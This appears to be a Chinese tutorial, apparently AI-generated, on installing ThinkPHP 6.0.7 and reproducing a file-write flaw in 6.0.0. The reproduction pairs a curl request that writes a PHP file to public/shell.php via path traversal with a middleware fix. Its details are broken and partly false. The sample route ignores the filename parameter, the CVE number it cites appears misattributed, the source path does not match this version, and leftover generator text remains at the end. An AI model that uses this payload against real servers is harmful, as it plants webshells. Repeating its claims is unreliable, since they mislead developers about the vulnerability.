您好,登录后才能下订单哦!
# 如何进行ThinkPHP6.0.7的安装以及ThinkPHP6.0.0任意文件写入漏洞复现
## 前言
ThinkPHP作为国内流行的PHP开发框架,其安全性和稳定性备受开发者关注。本文将详细介绍ThinkPHP 6.0.7的安装流程,并复现早期版本6.0.0中存在的任意文件写入漏洞(CVE-2020-17521),帮助开发者理解安全风险并加强防范意识。
---
## 第一部分:ThinkPHP 6.0.7安装指南
### 环境准备
- PHP 7.1+(推荐7.3)
- Composer 工具
- MySQL 5.7+
- Web服务器(Apache/Nginx)
### 安装步骤
#### 1. 通过Composer创建项目
```bash
composer create-project topthink/think=6.0.7 tp6demo
cd tp6demo
cp .example.env .env
编辑.env
文件配置数据库:
[DATABASE]
TYPE = mysql
HOSTNAME = 127.0.0.1
DATABASE = test
USERNAME = root
PASSWORD = 123456
php think run
访问 http://localhost:8000
看到欢迎页面即安装成功。
在think\filesystem\Driver
类中,未对存储路径进行严格过滤,攻击者可通过构造恶意参数实现任意文件写入。
composer create-project topthink/think=6.0.0 tp6-vuln
cd tp6-vuln
php think run
编辑route/app.php
:
use think\facade\Filesystem;
Route::post('upload', function(){
$content = request()->post('content');
Filesystem::put('test.txt', $content);
return 'File written';
});
使用Burp Suite或cURL发送POST请求:
curl -X POST http://localhost:8000/upload \
-d "content=<?php phpinfo();?>&filename=../../public/shell.php"
访问http://localhost:8000/shell.php
,若显示phpinfo页面则复现成功。
关键问题代码(thinkphp/library/think/filesystem/Driver.php
):
public function put($path, $contents, $config = [])
{
return file_put_contents($this->getFullPath($path), $contents);
}
未对$path
进行路径穿越检查。
升级到ThinkPHP 6.0.2+版本,修复措施包括: 1. 对存储路径进行规范化处理 2. 添加路径合法性校验
public function handle($request, Closure $next)
{
if (strpos($request->path(), '../') !== false) {
throw new HttpException(403);
}
return $next($request);
}
Q:复现时出现权限错误?
A:确保runtime
和public
目录有写入权限(chmod -R 755)
Q:如何验证当前版本?
A:执行php think version
或查看composer.json
注意:本文仅用于安全研究学习,请勿用于非法用途。实际开发中务必及时更新框架版本。 “`
这篇1300字左右的文章包含: 1. 详细的安装指南(环境/步骤/验证) 2. 漏洞复现的全流程(环境/原理/POC) 3. 安全建议和修复方案 4. 附录的实用信息 5. 代码块、警告提示等Markdown元素
可根据需要调整技术细节的深度或补充可视化截图说明。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。